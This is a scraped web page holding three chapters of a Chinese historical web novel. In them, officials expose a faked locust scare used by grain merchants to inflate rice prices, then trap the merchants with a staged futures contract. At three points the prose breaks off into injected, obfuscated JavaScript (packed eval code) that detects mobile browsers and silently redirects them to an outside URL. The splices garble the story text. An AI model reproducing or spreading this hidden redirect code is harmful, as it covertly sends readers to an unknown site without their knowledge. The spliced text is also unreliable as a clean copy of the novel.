“他”话音未落，陈敬儒重重一磕茶盏：“明大人，恕下官直言，杭州市舶司的船，恐怕还泊不到德州的码头来。” 方靖在三人里最年长，反倒先沉不住气。 “好大的气派，”他一拍桌案，霁蓝釉茶盏在案上滴溜溜转了三圈：“不知道枢密院的文书船，可驶得进德州漕河？” “方公子，”陈敬儒轻笑道：“令伯父的紫金鱼袋在枢密院供着不假，可您这身曳撒……” 他捧起茶盏，盏盖轻轻一敲：“本官免你一个布衣跪着回话，已是全了方大人的面子。” 方靖耳根霎时红透，霞灰色曳摆在椅栏上磨出沙响。 他手里攥着那本札记。 纸角早叫汗洇成了咸菜色。 檐角积水渐渐收歇，云缝里漏出日头。 赵斐探身取茶铫子，流光白的杭绸袖口拂过檀木案。 青釉壶嘴倾出的银线稳稳注满三只杯，水声里掺进他一句：“月前，太府寺接到各地州县的邸抄——" 说话间，太府寺少卿的鱼符轻轻压在茶盏旁边。 那尾铜鱼在茶汤雾气里游得自在，映着陈敬儒倏然缩紧的瞳孔。 “本官记得泰安县的米价不过六十文一斗，何故一县之隔，米价跃升近半？” 赵斐把茶盏往陈敬儒跟前推了半寸：“太府寺掌钱谷金帛诸货币，想必，本官的上峰们有兴趣了解一二。” 案上茶汤腾起的热气在他眉宇间缭绕，如晴雪后的炊烟，散得从容。 陈敬儒铁青着脸，朝衙役挥了挥手。 片刻，后堂传来搬账册的响动。 赵斐翻动簇新的册页，纸声脆得像早春河面的冰裂。 陈敬儒咳了咳，端起茶盏，茶盖碰出细碎的响。 “赵大人可见过运河起闸？”他吹开浮沫却不饮：“水猴子掀了浪头不打紧，怕的是，闸门下头沉着千斤石，一不留神，翻起万丈浪。” 赵斐眼皮都没抬。 “巧了，”茶雾漫过册页，映得他眉眼愈发清峻：“本官在太府寺掌秤，最擅长的便是称千斤石。” 院外恰掠过卖饴糖的梆子声，惊飞了檐下燕。 …… 济南府，点翠楼。 灯笼被春雾染得发黄，铜钩上凝着莹莹水珠。 二楼临湖的雅间，珠帘把大明湖的波光筛成碎银子。 八仙桌摆着官窑粉青釉梅瓶。 窗棂外头忽明忽暗的，原是檐下琉璃灯被风吹动。 灯影在湖面拖出长长金尾。 转瞬又被夜雾吞噬。 山东巡抚徐济民斜倚在紫檀木椅上，懒懒夹起一块翡翠白玉饺，皮儿薄如蝉翼，汤汁染得象牙筷子发亮。 旁边琉璃熏炉飘出缕缕青烟，正巧笼住他凹陷的面颊。 一张脸像被刀削斧凿过似的，两腮塌得凹陷，颧骨却高高拱起，像要戳破面皮。 坐徐济民对面的，是山东最大粮号瑞禾丰的当家林茂源。 他看着那白玉饺的油光点点滴落，一如他的冷汗滑进后颈。 “来，尝尝这饺子。”徐济民将瓷碟推来，碟底在紫檀上刮出细响。 “这儿新聘的扬州厨子，馅儿用的是邵阳湖的‘芦丛跃’，过了这一季，就得等明年了——”他一箸掐开饺皮，虾子混着蒸汽漫上来：“不过呢，比不得济南府的米金贵。” “徐大人，听说……”林茂源并未动筷：“听说青州县递了蝗灾的折子？” 他胖得像刚出笼的发面馒头，此刻脖颈更是急得白里泛青。 徐济民掀开眼皮：“你哪里听来的？”他喉间滚出闷雷似的笑声，“就算真有此事，那折子还不是要经本官这儿，他递不递得上去，还两说呢。” “毕竟不是真蝗灾，万一京城派人来查……” 林茂源越想越后怕：“哄抬粮价，是死罪啊！” 他眼珠子大，这会子失了神，在青灰眼窝里乱转，像滚进灰堆的玻璃球。 “你怕什么，上头派什么人来，还不是枢密院说了算？” 徐济民掏出手帕慢条斯理擦嘴角，云缎帕角正好挡住塌陷的右腮：“你倒不如忧心那三万两利钱吧？” 他朝林茂源咧嘴笑，露出被茶渍染黄的臼齿：“总不好叫郭大人亲自来催吧？” 檐角铁马叮铃一声，林茂源后颈肥肉便跟着颤。 汗珠子顺着他三重下巴往杭绸领口里钻，在锁骨窝积成亮晶晶的水洼。 窗纱漏进的月光照在他鼻尖，那点油汗比前襟的和田玉扣还亮堂。 …… 德州码头。 夜风卷走半张霉黄的平粜告示，忽高忽低贴着水面飞。 像一尾被鱼鹰惊着的白鲦。 明桂枝袍角扫过拴船石，惊起几点流萤。 她匆匆朝茶寮跑去，腰间璃翠玉珮在月色下晃出碎光。 茶寮残棚下，赵斐端坐在歪斜的长凳上，背脊挺得比漕运司的旗杆还直。 流光白色袍袖被夜风鼓起，似张满的帆。 他执笔的腕子稳得很，墨色游丝般缠着蚕头燕尾的馆阁体。 “咔嚓”一声脆响惊破沉寂。 方靖的灰缎皂靴踩碎茶寮地上的碎渣，靴底粘着半片竹节虫翅。 国字脸上还沾着粮仓顶的蛛网。 他袖口一抖，油纸包里的虫尸哗啦啦洒了一地。 月光正巧穿过云隙，照得虫壳泛起死鱼鳞的青光。 河面忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946730|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地泛起涟漪，原是片榆钱打着旋儿落水。 三人同时望向漕船，但见十数艘黑影的桅杆交错，在月下织成张破网的影，正正笼住粮仓外新糊的“丰”字封条。 方靖衣袖往桌上一扫，虫尸哗啦啦铺成片。 一只断须的竹节虫上，六条细腿在风里微颤，似要活过来要往漕船方向爬。 “不是蝗蝻，蝗蝻头更小，身更长。”方靖的食指戳得茶桌咚咚响，指甲缝里的蛛丝在月光下泛银，“那些个黑心肝的，专挑芒种前在墙根撒虫——” “那这些是……” 明桂枝问。 “竹节虫的幼虫，” 方靖捏起一枚虫尸：“这玩意儿山东不常见，但泉州多的是。长得与蝗蝻七八成相似，就是头长一些，身短一些。” 河风忽地转了向。 带着隐隐约约的陈米酸气。 方靖气得眼角不住抽动：“最绝的是那些说书人，码头、茶肆还有酒楼，哪里人多往哪里去，专门讲《旱魃降灾》的段子...”他捏着嗓子学说书腔调：“江南道三月不雨，蝗神娘娘的銮驾已过长江啰——” 尾音被夜风削了半截。 暗处传来声鹧鸪叫。 明桂枝紫绸袖口往远处漕船方向一扬。 “这十数艘漕船吃水深得不正常，今日多的是没工开的苦力，这些船主硬是不卸货。”她从袖口掏出一把大米，沙沙倒入茶碗：“我拜托飞羽调查走访，你们猜怎么着？” “全是大米？” “嗯，全是大米。” 方靖惑然：“为何不入仓？” 明桂枝叹了一声：“因为德州各个粮仓都堆满大米，要等这批卖完了，那十数艘船的大米才有空位入库。” “直娘贼！”方靖猛地跺地：“天杀的直娘贼！他们合伙骗老百姓！告官，咱们去告官！” 河面忽地卷起阵怪风，将赵斐案头信笺吹得哗啦响。 “无人敢受理的。” 赵斐脸色比运河还沉：“我今日走访邻近的县、乡，各县衙有此情况。” “那不正好？允书，你赶紧报给巡抚。” 方靖催道。 赵斐摇头：“那些知县、千户们都避而不谈。” “难道……” “此事背后的人应该来头不少，指不定……” 明桂枝替他说完：“指不定巡抚也参与其中。” 凉风吹过榆树，沙沙声里混进漕船启碇的闷响。 三人同时望向运河尽头，一时无话。 风吹榆钱的声音稍歇。 “我写信给伯父吧，” 方靖一拍在茶桌，震得虫尸蹦起三寸高：“惊起千尺浪也好，震醒九霄雷也罢，反正我是白身，不怕丢乌纱帽。” 明桂枝叹了口气：“只怕这信送不到方大人手里。” 万一连巡抚都参与其中，那往来的驿站一定特别关注他们几个的信件。 “那如何是好？” “我已拟好密折。”赵斐把茶桌上的信笺折好，眸色炯炯：“我命令飞羽三更启程，亲自送信到京师。” “来不及，” 明桂枝又叹：“快到芒种了，老百姓顾及蝗灾，很可能会影响耕作。” “这也不行，那也不行，”方靖白了一眼，讥问道：“那明大人你有何高见？” “巧了不是，我还真有一计。” …… 17.期货契约 德州县衙。 官廨旁，杏花寥寥，但槐花开得泼辣。 风轻轻一吹，碎玉似的花瓣降降落在青砖地上。 陈敬儒缩着脖颈听两位京官说话，八字眉随话音一抖一抖。 那明大人今天换了一身烟墨色袍子。 “他”生得实在扎眼，尤其那瞳仁清亮澄澈如晴空。 他盯着“他”看了好一会儿，看不出半点假意。 只得低头逐字逐字看那《期货契约》。 端的是白纸黑字——两个月后，杭州市舶司按一百文一斗的价格，与“瑞禾丰”收粮十万石。 暂以一千两作定金付予“瑞禾丰”，违者双倍赔付。 文书上每项条则都无比清晰，还盖了杭州市舶司的官印。 可陈敬儒总觉得有诈。 眼下八十八文每斗米已经是极高，听说青州县都递了折子。 一百文钱一斗？ 怕不是要惊动圣架。 ——“陈大人这般考究，不知道的，还以为是刑部在秋审呢。” 方靖话裹着话。 陈敬儒却笑出十二分和气：“状元郎亲拟的契书呢，下官难得拜读，获益良多，获益良多哪！” 他屈指抚了抚契纸边角，仿佛昨儿嫌隙随这动作被抚平了。 窗外麻雀叽喳，让陈敬儒心神更不宁，不停往桌上的银票瞟。 ——五百两润笔费！ 比他三年俸禄还多。 嘿，到底是京官大气。 银票上鼎泰银号的大印，十足五百只蚂蚁咬他心尖肉。 但是…… 这事万一稍有差池，他别说乌纱不保，极可能人头落地。 犹豫间，忽听得明桂枝朗声道：“林二当家，合作愉快！” 陈敬儒一惊，抬眼看到明桂枝吹着契约的朱砂渍。 那是“瑞禾丰”二当家林茂海刚盖的印。 “林二当家这般英明果断，难怪‘瑞禾丰’的分号开了又开！” 方靖笑着为林茂海添茶。 “见笑了，咱运河上跑惯了的，就图个爽利。” 林茂海笑得浑身肉颤，鱼师青绸缎裹着圆肚皮直晃——眼下市价八十八文每斗米，这桩生意能抵他跑十船私盐的利。 更何况，他大哥林茂源已经提心吊胆假蝗灾的事。 如今有傻子接盘，何乐而不为？ “陈大人啊陈大人，莫怪我多口，”方靖恭维完林茂海，又对皱眉对陈敬儒道：“论果断你比不上林二当家，需知道，机不可失，时不再来！” “何必与他废话。” 赵斐深深刮了陈敬儒一眼，又淡淡对林茂海说：“‘瑞禾丰’不是在东昌县也有分号么？” 明桂枝立即会意：“对，我们马上去东昌，让那边的县官作保。” 说罢，“他”笑着对陈敬儒道：“我总不信，五百两润笔费也换不来一个知县盖章。” ——“慢！且慢！” 陈敬儒八字眉颤得险些飞出额角，官服的鹌鹑补子早叫汗渍泡成了落汤鸡。 “我盖，我…下官这就盖…这就盖！” 只见他三份契纸叠作一处，官印"砰砰"砸得案上茶盏直跳。 比他升堂时拍惊堂木还响三分。 陈敬儒盖完印，还未来得及收拾，忽听得瓷盏"当啷"撞上砚台。 三张契纸忽如白鸽离手。 明桂枝袖口翻飞间，契纸已分成三叠。 “他”杏眼里的春水早结成冰碴，只是嘴角还噙着笑。 “如此皆大欢喜的事情，非要我们逼着你做——” 明桂枝抽出陈敬儒那份契纸，狠狠甩他脸上：“你说你贱不贱？” 一阵风吹得檐下铃铎叮咚响，陈敬儒的八字眉也抖得像风中蛛丝。 方才还温文有礼的世家清贵，此刻眉梢吊着戾气，唇角虽翘着，眼里却像淬了井底寒冰。 陈敬儒又再吓出一身冷汗。 ——这才是“他”的真面目。 那厢，说笑声已荡出仪门。 ——“林二当家，你可知德州哪家楼子的胭脂马最烈？” 烟墨色衣摆扫过石阶。 明桂枝反手将契纸卷成筒，当做折扇敲手。 杏眼里哪还有半分戾气，倒似个风流倜傥的纨绔郎。 “春花阁新来的姐儿好，会弹京城的调儿......” “好，去春花阁。” …… 茶旗在春风里翻飞。 茗韵楼二层“雅间的窗棂半启，漏进大运河的粼粼波光。 烟墨色袍袖拂过青花瓷碟。 一双描金竹筷在碗里拨弄，油星子溅到碗沿上。 梅香鸭脯泛着琥珀光，明桂枝却拿筷子尖戳那姜片。 “这姜丝儿切得比柳条还粗，糖色也熬老了...” 筷子啪地敲在碗边，惊起窗外歇息的麻雀。 方靖正往嘴里送羊排酥，差点笑噎着。 他慢悠悠舀一勺翠玉虾仁烩到明桂枝碗里。 “明大人消消气，这顿可是林二当家做东，” 说着朝林茂海瞥一眼，“看在那十万石大米的份上，赏个脸吧。” 林茂海借着抹汗的当口，指尖在眉骨上重重按了两下。 他心道：这茗韵楼是德州顶好的酒楼，哪怕比起济南的点翠楼也不逊色。 难不成，这明大人在京城天天吃的御膳？ 竟这般挑剔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953058|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小爷我要是不给他面子，” 明桂枝哼一声，斜睨林茂海：“早把厨子叫过来打一顿了！” “明昆玉，你随便对付两口得了，” 赵斐早把酒盅转得滴溜圆，这会儿拿杯底叩着桌面笑：“吃饭重要，还是‘听曲儿’重要？春花阁的姐儿都等凉了。” “允书兄这话有理。” 明桂枝筷子尖戳着鸭脯，懒懒唤道：“喂，那谁，哦，林二当家——” 林茂海堆起的笑凝在腮边：“小的在，小的在。” 天井里斜进来正午的阳光，正照着他新裁的杭绸袍子，肚腹处团花绣纹绷得发亮。 “小爷我不爱见肥腻东西。” 明桂枝舀起半勺翡翠瑶柱羹，汤匙在碗沿刮出细碎声响。 “小的省得，小的这就去、去让后厨准备清淡菜式，‘荷塘月色’可好？” 林茂海脑袋像啄米的鸡一样，不停上下点。 “我是在说你啊，死肥猪！” 明桂枝把汤匙往烩羹里一插，汤汁溅到林茂海袖口的元宝纹上。 “又肥又腻，看着就碍眼，还不滚？” 林茂海脸上一阵煞白，瞬间又变成浓重的酡红，恰似那被霜打过又暴晒的果子。 他慌慌张张地转身，刚出雅间，便踩着送菜的跑堂，油渍斑斑的围裙擦脏他新裁的绸缎。 雅间还传来明桂枝清脆的声线：“要不是看在那十万石大米的份上，真想连他也揍一顿。” …… 窗外榆钱绿得透亮。 春阳斜斜穿过雕花木棂。 “会不会演得太刻薄了？”明桂枝转着茶盏：“骂别人肥猪，是不是太过了？” “他那身肥肉，全都是吃民脂民膏吃出来的，”方靖嘴里塞着水晶虾饺，腮帮鼓鼓地摆手：“我还嫌你骂得不够毒，杀千刀的，哄抬粮价来牟利，最好你能骂死他。” 赵斐慢悠悠啜了口雨前龙井：“小人畏威而不怀德，你不羞辱他一番，他未必服你呢。” “还别说，”明桂枝杏眼弯成两枚月牙：“演这种刻薄角色，真挺爽快的。” 方靖也笑：“下回该我演黑脸角儿，我也想骂骂这些混账！” 赵斐搁下茶盏，指节轻叩桌面：“仲安兄若想过戏瘾，不如演我这贪花好色的纨绔？” 谈笑间，竹帘外闪过鸦青身影。 侍墨猫着腰进来，压低声说：“大人，楼下跑堂全换了人。” “盯梢的来了？” 方靖挑眉道：“这陈敬儒动作挺快嘛。” 明桂枝用盏盖拂过茶梗，抬眸一笑。 春阳映在她眉间，比袍子上的金线宝相花还灼眼。 “允书兄，这次轮到你随机应变了。” …… 18.世风日下 德州，县衙官廨。 春阳懒懒照入西窗。 案头青瓷瓶插着枝半蔫的迎春。 暖风一吹，黄瓣儿翩翩落在鱼鳞册。 林茂海的大肚腩把袍子撑得鼓胀。 像只倒扣的梅瓶。 他抄起案上的茶，嘟嘟猛灌了口。 茶沫子全沾在八字胡上。 “那个什么状元郎，”话没说完，他先打了个响嗝，“用得着咱哥俩的时候，‘林二当家’前，‘林二当家’后的；给他签完契约了，‘啊，喂，那个谁’！” “哟，你发现了呐？” 陈敬儒窝在官椅里，捻着案头迎春花的枯枝。 “您不知道他说话那个刻薄劲儿，活脱脱是盐罐子成了精，能把人噎死！” “消消气，消消气。” 枯枝在陈敬儒指间转了个圈，戳进砚台宿墨里。 他心道：我这有官身的，尚且被“他”当面甩契纸，你区区白丁，“他”会给你什么好脸？ “还有那个姓赵的榜眼！” 林茂海拍得茶盏叮当响：“午膳都没用完，就急吼吼催着去‘听曲儿’，色中饿鬼！” 话音忽地低下去，挤眉弄眼地比划了个下流手势。 陈敬儒轻轻摇头，一脸嫌弃：“龌蹉，真龌蹉。” “您说，这届科举选的都啥人呀！” “唉，世风日下，世风日下。” “不过，” 林茂海话锋一转，“那个方卯的侄子，倒还有几分人样。” 陈敬儒冷哼一声：“跟那两人混在一起，能是好货？为虎作伥的玩意儿。” “嘎吱——” 门忽然被推开，惊得陈敬儒手里枯枝一抖。 竹帘缝里探进张瘦长脸。 那人原是衙差，此刻却穿着店小二的服饰。 他缩着颈回话：“禀大人，那三位在茶楼...他们说、说...” “说吧，偷听到什么，一五一十说！若有遗漏，仔细你们的皮肉。” “禀、禀大人，”衙差垂手贴着廊柱，“他们先是笑声不断，然、然后那明大人说，‘谁想得到，还没到杭州，就找到冤大头了’……” 林茂海刚入口一颗芝麻糖，还未来得及吞下，霍然一惊。 “什么冤大头？” 他转头问陈敬儒：“你派人跟他们三个？那冤大头说的可是我？” 陈敬儒眼皮也不抬：“他们还说了什么？” “赵大人与他们笑说，他月前在太府寺收到杭州寄来密函，吓得几宿几宿没合眼……” 衙差咽了口唾沫，“他还说，‘没成想，这还没出山东地界呢，就找到背黑锅的了’...” 林茂海手里芝麻糖啪嗒掉在桌案上，糖渣溅进茶汤：“他……姓赵的他真这般说？” 鱼师青袍子前襟沾着几点糖渍，仿佛溅了血点子。 陈敬儒八字眉拧成疙瘩，茶盏在石案上重重一顿：“接着说！” “然后，那方公子问他们，‘这般行事，对山东百姓是否太狠了？’” 衙差声音越说越小。 “我都说了，他们三个当中，就姓方的有半分人型。” 林茂海叹道。 “然后呢？” 陈敬儒急问那衙差。 “明大人笑方公子妇人之仁，他还说……” “说什么！” 陈敬儒起身逼近。 衙差退后半步，“他说……‘等吕宋白银到了，怕不是要一百八十文才能换一斗米，眼下不快快把手头的银两花掉，到时你们哭都找不着调门！’” “什么？粮价还要涨？” 林茂海一屁股跌坐石凳，手腕的玛瑙串子扯断了线，珠子噼里啪啦滚了满地。 陈敬儒官帽歪了，露出花白鬓角：“完了...完了...” 他嘴唇哆嗦着去摸茶盏，洒泻一桌茶汤。 愣了好半晌，才颤颤对衙差问：“他们在何处？” “他们三人……方才、方才出发去春花阁。” “再探，赶紧再探！” 日头忽然暗了。 后院的青砖地泛起潮气。 柳絮扑簌簌掉落，似下了场急雪。 …… 春花阁，绮霞轩。 凉夜细雨，窗棂上凝着水珠子，像缀饰的珍珠。 明桂枝斜倚檀木圈椅，靴尖点着拍子。 袍上宝相花纹叫烛火一照，似点点金箔屑。 清倌人怜月抱着曲颈琵琶，抹弦时偏头一笑。 “明大人好阔气，这龙眼大的珍珠打赏得跟撒盐粒子似的。” “盐粒子？”明桂枝捏住怜月下巴，将一把闪灿灿的宝石首饰塞进她抹胸：“那你是嫌小爷打赏得少咯？” 怜月假意挣扎：“哎哟，明大人……” 香粉气味蹭得明桂枝鼻尖发痒。 方靖折扇敲着桌沿，惊飞白瓷碟里的酥渣。 连累得红倌人惜花弹错半拍古筝。 “这银子虽说再过月余就不值钱——” 方靖话到舌尖陡然打转，装出一副说漏嘴找补的模样。 ——“昆玉啊，纵是泼天富贵，也抵不过你这般流水撒钱呐！哈哈” 最后那声干笑仿佛心虚。 赵斐苍色直裰的领口松了两寸。 优伶拂霜的水绿帔子正往他膝头缠。 他笑着酙酒，酒液却故意淋在拂霜染红蔻丹的指尖。 害拂霜红了脸。 “仲安，你且由得他吧。” 赵斐舔了舔拂霜递来的酒盏，差半寸舔到她指尖。 “咱们就由那些蠢货先耗着去，等粮价涨到两百文一斗那天——” 他叩着案面轻笑，眸光扫过明桂枝微敞的领口，骤然凝住。 那里头露了小段雪色，本该比羊脂还白三分，偏偏被怜月贴着蹭出一片绯红。 “明昆玉，”赵斐眸色骤暗：“色字头上一把刀呵。” 方靖一愣——赵斐不是演的好色纨绔么？ 怎么…… 看向明桂枝，“他”也是刹那错愕。 “诶，允书，你有什么资格劝？” 方靖只得为赵斐找补：“你偷纳的外室都够凑在一起打马吊牌了。” 他不忘压低嗓音，引出下句对白：“话又说回来，咱们这么做，怕不怕山东的巡抚参你俩一本？” “他敢参我，我就参他假造蝗灾，哄抬粮价，” 明桂枝朗声笑道：“谁怕谁啊！” 檐外雨脚恰扫过铃铎，惊得惜花筝弦崩断半根。 “可是山东的百姓……” 方靖始终记得他的“人设”。 “呐，别说我不教你俩为官之道，” 明桂枝嗤笑一声：“——先下手为强，后下手遭殃。” 一边说，一边不经意躲开怜月往“他”下身探的手。 酒液悬在杯沿打转。 当明桂枝袍角躲过怜月指尖的一瞬，赵斐听见自己后槽牙松开的轻响。 他怔怔盯着“他”衣袖溅到的酒渍。 直到那滴金波化作青砖上的暗斑 赵斐惊觉掌心沁出层薄汗。 “允书兄？” 明桂枝叩案的脆响惊醒他。 ——该他说那句关键的“对白”了。 赵斐蓦地仰头饮尽残酒，让烧喉感压住心尖那抹怪异的紧张与放松。 “昆玉说得对，后下手遭殃，最要紧的是——杭州市舶司的密函，昆玉你可收好了？” “晓得的，晓得的。” 明桂枝懒洋洋衔住怜月喂来的李子：“就搁在我马车的柜屉里。” “你怎么把它搁在如此——”方靖尾音兀地扬起，又强行压低：“如此晃眼的地方？” “放心，最危险的地方，才最安全。” 烛火倏地一跳。 明桂枝浅浅笑，挑起怜月下颌：“小娘子这颗朱砂痣生得真妙。” 指尖戳向少女锁骨红痕：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965553|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是不知道，守宫砂可还在？” “明、明大人说笑了...” 怜月慌得碰翻酒壶，罗裙晕出一片深色。 “若是雏儿，”明桂枝一把攫住她手腕：“明日就给你抬红轿。” “明昆玉！”赵斐打翻的酒盏浸透衣袖。 “奴、奴家上旬才……”怜月急得簪子都歪了半截：“奴家只伺候过得一个恩客……” 明桂枝眼神冷了下来：“可惜了，小爷我只要处子。” “他”漫不经心转着翡翠扳指，像是真的惋惜一般叹了口气。 怜月伏到“他”耳边，细若蚊蚋的声音里掺进莺啼：“大人，奴家新习了些招式……” “退下罢。” 明桂枝用折扇尖挑开距离：“你没听到吗？我要的是处子。” 说罢，起身离席。 经过赵斐身旁，“他”笑笑道：“小爷我没了兴致，二位请随意。” 赵斐扶正玉冠的动作慢了半拍。 他嘴角浮起一丝自己都没察觉的笑容。 ——“我也没了兴致。” “喂，你们！” 方靖停下筷箸，对着他们的背影唤：“这可是咱自己付的账啊！” 那些流水似的、白花花的银子啊…… 这两人就这么走了？ 脂粉香气阵阵绕过方靖鼻尖。 他搭在椅背的手刚要抚上美人香肩，恰好看见自己袖口里那枚青玉竹节佩。 美玉闪着寒光——临行前，妻子系在他腰间的。 “唉，我一个也应付不了你们三人，我也没兴致了。” 一缕青烟飘去，方靖已披着金线氅疾步穿过回廊。 …… 雨忽然急了。 星星点点像碎银砸落。 南城麻石路上，雨水灌满车辙印痕。 平日里食肆油烟香、枣糕铺的焦糖香、算命瞎子竹筒里铜钱响…… 这会儿全听不着。 十五步长的街面，就剩馄饨幌子还在雨里打摆。 伞骨积雨斜滑下，在明桂枝肩头漏成银线。 青石板返着冷光。 赵斐手中灯笼晕染成半融的朱砂。 更鼓漏过雨帘。 他快赶三步，靴底碾碎的水洼里，将两人影子拧成麻花。 “明昆玉！” 赵斐唤住“他”，一个闪身到伞下。 他嗓音裹着雨腥气：“雨伞劳驾往左半寸。” 明桂枝把伞柄换到左手。 伞面在赵斐肩上撑出半圈干地，她手肘挤在对方沾湿的衣袖。 雨水顺着伞沿滴成帘，碎在他后颈骨节上。 赵斐把灯笼换到外侧。 暖黄油纸映出两人交错的影。 “明知要下雨也不带伞？” 明桂枝笑问。 赵斐垂眼盯着靴尖的青苔渍，油纸灯笼在肋下晃动。 他想起那年仲夏的学堂后院，同窗们扒着矮墙招呼，说雅韵坊来了批西域胡姬。 彼时，明桂枝倚着松树翻《洗冤集录》。 三伏天的蝉鸣像晒裂的竹简声。 “他”相熟的几个同窗问了又问。 “昆玉，雅韵坊备了冰镇的西凉葡萄酒哦。” “那些西域胡姬据说个个雪肤若脂，金发碧眼，去瞧个新鲜？” “听说她们跳柘枝舞时，金铃坠地，喜人得很呢，走，开开眼界？” 赵斐记得，当时明桂枝翻过一页《男子作过死》，淡淡笑道：“我看这验死人之法，比活人值得揣摩。” 石板上漫起的水汽浸透鞋底。 伞面斜着淌水，在二人绸缎袍服上染出团墨迹。 “你如何……” 赵斐欲言又止。 “嗯？” “你如何认定那清倌人非清白身？” 灯笼穗子扫过他虎口的茧。 也仿佛扫过他满是狐疑的心扉。 …… 19.她的往事 “她若是处子，” 明桂枝狡黠一笑：“我便说我不要雏儿，我要十八般‘招式’俱佳的。” 赵斐徒然失笑。 攥紧的指节一下子松开，他脱口说：“我还以为你偷偷去过青楼。” “去过也不一定。” “嗯？” 他腕上灯笼猛地一偏。 “我有失魂症，你忘了？” “嗯，又忘了。” “那你呢？” 赵斐答得斩钉截铁：“从未去过。” “呵，洁身自好。” 明桂枝侧首看他。 灯笼晕着暖色，将雨丝淬成细细金线，映在他轮廓分明的侧颜。 她忍不住问：“你不好奇？” “你不好奇，所以我也不好奇。” “关我什么事?” “我不能输给你。” 赵斐看向明桂枝，眸色映出反光的雨丝，像被割碎的星光。 “怎样算输？” 明桂枝瞪着清澈的双眸：“那要是我娶四五个妾侍，纳七八房外室，你是不是也要和我比？” 赵斐一下愣住。 淅淅沥沥的雨线坠入水洼，惊碎浮光掠影。 他听见喉结滚动的声响混在雨声里。 “大概吧。” 他犹豫道。 明桂枝突然驻足：“你以别人作绳墨，如何能丈量自己的输赢？” 赵斐看着“他”满眸碎金般的流光。 分明是初春寒夜，他背脊却沁出潮热，连攥着灯柄的指节都泛青白。 远处隐约传来羯鼓声。 幽幽萤火，穿梭雨幕深处。 原是巡更人提灯悠悠踏过巷口。 …… 雨声陡然密了。 馄饨摊的油布篷滴落雨帘。 铜锅在灶眼上咕嘟着，案板积着些许油垢。 “两位爷的茭白馅儿——” 老翁裂帛似的嗓子撕开雨幕，粗陶碗底磕得木案咚咚响。 粗瓷碗里卧着十二个馄饨。 皮子透得像泡水的绵纸，茭白翠嫩嫩裹着肉糜。 赵斐看葱花在汤碗边漂转，迟迟未动筷。 明桂枝那厢已在吃第五颗馄顿。 汤底漾着被咬破的馄饨皮，露出半截茭白沾着麻酱，正往碗里漏油星子。 “你不饿？” 在准备吃第六颗馄顿的间隙，明桂枝问。 赵斐拿汤匙刮了刮浮油：“不饿。” “亥时三刻还不饿？” “不惯用夜宵。” 他反问：“你很饿？” 竹筷尖悬着的肉糜坠进汤里，溅起水珠砸在碗沿。 明桂枝支着头，望着雨帘渐渐变稀疏。 雨雾蒙蒙间，这淅沥声与后世办公室的空调滴水声差不多。 她淡淡笑道：“我惯了吃夜宵。” …… 油布幌子映出炉火的光。 让人恍惚看见霓虹灯在雨帘里晕作胭脂红。 在明桂枝的记忆里，彼时的春雨也是这么稠，岑屿的白衬衫总染着打印机碳粉味。 岑屿是她大学师兄，毕业了在同一间公司实习。 不久，岑屿带着明桂枝、还有几个同事一起创业。 一家名唤“鹿宝”的小企业。 因为大家都恰好与鹿有缘——明桂枝住在鹿鸣路；小胖家里是养鹿的；美娟姓陆；大强的女友喜欢小鹿，所以他纹了一只小鹿在手臂…… 岑屿笑着道：“真巧，我最喜欢小鹿了。” 深夜时分，他们每每挤在公司楼下“7-11”斜对面的馄饨铺。 岑屿总是用奶茶与大家碰杯：“祝贺各位荣升国宝。” 然后笑着指明桂枝的黑眼圈。 方案改了无数无数次，他也保持热情：“就当升级打怪咯。” 再怎样被甲方刁难，他亦笑得开颜：“有要求才是真客户，对吧？” 大城市加班的人多，营业至深夜、甚至通宵的食肆不少。 可岑屿说只有那家馄顿铺子的汤底有他家乡的味道。 这个毕业没多久就赚够钱在大城市置业的人，似乎一直记挂年少的口味。 岑屿聪明、极度上进、勇敢果断，又乐观积极。 最难得的是念旧。 明桂枝是心动的。 后来，他们公司渐渐有了规模。 岑屿手腕的表从精工换成浪琴，又换成劳力士，到戴得起百达翡丽、江斯丹顿，袖口露出的陀飞轮泛着冷光。 堪堪遮挡手臂的伤痕——创业第二年，他被竞争对手制造车祸撞的。 车祸那天，在投标会场，明桂枝等了好久都等不到岑屿。 手机一直忙音。 最后一刻，他才脚步蹒跚赶到。 满身满头的血。 幸好在截止前递上投标书。 “时间刚刚好，还剩三十秒。” 他说话时喉结滚动，仿佛咽下的是钢钉而非血块。 血顺着他微翘的嘴角淌成嫣红的花。 救护车的呜鸣声中，岑屿碎发间隙隐约透出纱布的惨白。 与沿江火红的勒杜鹃相映成趣。 